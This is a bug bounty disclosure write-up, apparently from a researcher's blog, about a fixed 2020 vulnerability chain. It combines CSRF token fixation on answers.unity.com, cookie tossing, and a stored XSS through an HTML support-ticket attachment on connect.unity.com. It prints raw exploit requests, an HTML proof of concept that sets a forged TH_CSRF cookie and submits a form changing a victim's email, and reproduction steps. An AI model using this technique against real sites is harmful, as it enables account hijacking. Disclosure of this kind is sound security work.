Unity -- CSRF fixation on answers chaining with Stored XSS on Connect unity leads to Site-wide CSRF bypass on answers.unity.com

Company Information :

Unity Software Inc. is an American video game software development company based in San Francisco. It was founded in Denmark in 2004 as Over the Edge Entertainment and changed its name in 2007.

Bug Category :

1.CSRF Fixation :

Devise contains a flaw that allows a remote, user-assisted attacker to conduct a CSRF token fixation attack. This issue is triggered as previous CSRF tokens are not properly invalidated when a new token is created. If an attacker has knowledge of said token, a specially crafted request can be made to it, allowing the attacker to conduct CSRF attacks.

2.Stored Cross-site-scripting (XSS) :

Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.

Technical Details of the Bug :

There are 2 different issues in different domains which leads to to bypass site-wide CSRF bypass on answers.unity.com

CSRF fixation on answers site:

Most of the action/post requests in answer site have CSRF token . The same CSRF token is also available in cookies . After testing i found that changing Both the CSRF values , the request is successfully working.

Demo Vulnerable request :

POST /users/1134306/bugcrowdtester1110/preferences.html?tab=details HTTP/1.1
Host: answers.unity.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://answers.unity.com/users/1134306/bugcrowdtester1110/preferences.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Origin: https://answers.unity.com
Connection: close
Cookie: TH_CSRF=csrf_token;[other_cookies]
Upgrade-Insecure-Requests: 1

TH_CSRF=csrf_token&username=&email=&password1=&password2=&realname=hacker&company=hacker&website=&location=&birthday=&locale=en&about=

If you notice in above request you will see TH_CSRF in post parameter and cookie both. If you change their value to any similer value Ex : "test" then server will accept the request and make action. The Similer behaviour is in most of the actions. Now Above mentioned scenario may look like theoretical issue as how an attacker can change both the values. That't where the Cookie Tossing Attack comes in.

If you haven't heard of these attacks before . I would recommend you to read the below articles first.

https://github.blog/2013-04-09-yummy-cookies-across-domains/
http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html
https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=45

TH_CSRF is sets in each new page as below

set-cookie: TH_CSRF=[token];path=/;HTTPOnly

Since Cookie has been set with HTTPOnly it can't be modified with javascript. So how an attacker can't change this value. But Browser allows 2 same name cookies. Ex :

document.cookie="test=hack"
document.cookie="test=hack"

If you run this one your browser control , it will work.So if you add TH_CSRF duplicate cookie then it will be accepted by browser. Once you add duplicate cookie TH_CSRF with your value. then it will be added after original TH_CSRF. Now when you will make any GET/POST request , Browser will send both of these headers. Cookie tossing issues arise from the fact that the Cookie header only contains the name and value for each of the cookies, and none of the extra information with which the cookies were set, such as the Path or Domain. Now the problem is Unity server accepts first occurrence of cookie if duplicate values are given. So your added duplicate cookie will be of no use as server is not accepting it. But there is a way by which you can force browser to send your TH_CSRF value first and server will accept it. So If there are 2 cookies with the same name then browser prioritise one with exact path . Ex : If

set-cookie: TH_CSRF=[original_token];path=/;HTTPOnly is there .

and if you add

set-cookie: TH_CSRF=[malicious_token];path=/newpath/;

Then browser will first send TH_CSRF with added path. So now the attack only needs to set the cookie with any valid path where he wan't to do the CSRF attack and then send the CSRF POC with attacker added value in post parameter and server will accept the request and CSRF attack will be successful. Ex : In answers.unity.com to update the user information on the page https://answers.unity.com/users/[user_id]/[user_name]/preferences.htm Attacker can set the cookie. set-cookie: TH_CSRF=[malicious_token];domain=.unity.com;path=/users/; and it will be added into all the unity subdomains where the path is /users/ Once done Browser will send TH_CSRF first . Now attacker need to send the victim CSRF Exploit just with the same value and CSRF attack will be successful. This will be a complete CSRF bypass on answers unity because attacker can set the cookie in any path. So whichever function/URL he wants to attack , he can set the cookie with that path and make it successful.

Stored XSS in Connect unity channel support ticket attachment :

Note : I know the stored XSS in connect unity is already a known issue. But the thing is developers have fixed it in many places , but This is one of the end point which is new and end point is completely different from other connect URLs which were vulnerable and already fixed now. So this is a same type of attack but the end point is new and different which is allowing you to upload any html file and executing it. I hope after reading both the above issue you might be wondering how an attacker set the duplicate cookie value. Well If you have XSS in subdomain then you can add cookie in *domain.com . I found a File upload XSS in Connect.unity.com channel support ticket attachment which is executing on connect-prd-cdn.unity.com which is a unity.com subdomain. bug location Chat channel -- > On Org channel (Pro or advanced team accounts)

Vulnerable HTTP request :

POST /api/attachments/supportTickets HTTP/1.1
Host: connect.unity.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://connect.unity.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------405738699171177553694887962
Content-Length: 919
Origin: https://connect.unity.com
Connection: close
Cookie: [cookies]

-----------------------------405738699171177553694887962
Content-Disposition: form-data; name="size"

4376
-----------------------------405738699171177553694887962
Content-Disposition: form-data; name="file"; filename="exiftoolXSS.html"
Content-Type: text/html

-----------------------------405738699171177553694887962--

Combining all Together :

1.On the answers.unity.com due to the server validation there is a CSRF fixation bug. 2.Attacker can set TH_CSRF first with cookie tossing attack. 3.In order to carry out the attack we can run the javascript code through subdomain which will successfully complete this attack.

HTML POC for complete attack:

Change user details on the main user edit account page. Link : https://answers.unity.com/users/[user_id]/[username].html

<!DOCTYPE html> 2<html> 3<head> 4<script> 5document.cookie = "TH_CSRF=hacker;domain=.unity.com;path=/users/"; 6</script> 7</head> 8<body> 9 <script>history.pushState('', '', '/')</script> 10 <form action="https://answers.unity.com/users/[user_id]/[user_name]/preferences.html?tab=details" method="POST" enctype="application/x-www-form-urlencoded"> 11 <input type="hidden" name="TH_CSRF" value="hacker"> 12 <input type="hidden" name="email" value="hacker@gmail.com"> 13 <input type="hidden" name="realname" value="hacker"> 14 <input type="hidden" name="company" value="hacker"> 15 <input type="submit" value="Submit request" /> 16 </form> 17 </body> 18</html>

Put your user_id and username in the FORM URL. Both of these informations are public. I have taken an example of updating the main user profile details including email. The script in head will set the TH_CSRF with the value "hacker"and the script in the body will be send the CSRF POC with the same TH_CSRF value to make the attack successful.

Steps To Reproduce:

-- >Create a Victim account and login to answers.unity.com.(Ex:id=12345,username=vicitm) 1.Login from Attacker account and go to connect.unity.com (you will need Pro and advanced team trial account to create support ticket.) 2.Now go to channel chat and create a new channel for your Org. 3.You will see create support ticket option on the upper bar. 4.You will see the attachment option here. which will only accept image content. 5.Now fill all necessary details and add any image attachment. 6.Now intercept the request and Update the file content with the above mentioned POC.(update victim user_id and username) 7.Change the content-type to text/html and change the file extesion to html.Send the request to server. 8.Capture the Link of the uploaded file from the response . 9.Now login to victim in another browser and send the link to victim. 10.Victim clicks the link and his account details will be changed.

Video POC :

Impact :

CSRF fixation on answers chaining with Stored XSS on Connect unity leads to Site-wide CSRF bypass on answers.unity.com

Timeline :

April 14th 2020: Report send to Unity product Security Team through Hackerone.

April 21th 2020: Report Accepted and Triaged.

April 21th 2020: Complete issue was resolved and confirmed.

July 15th 2020: 1200$ Bounty Rewarded

Search This Blog

Vijay Kumar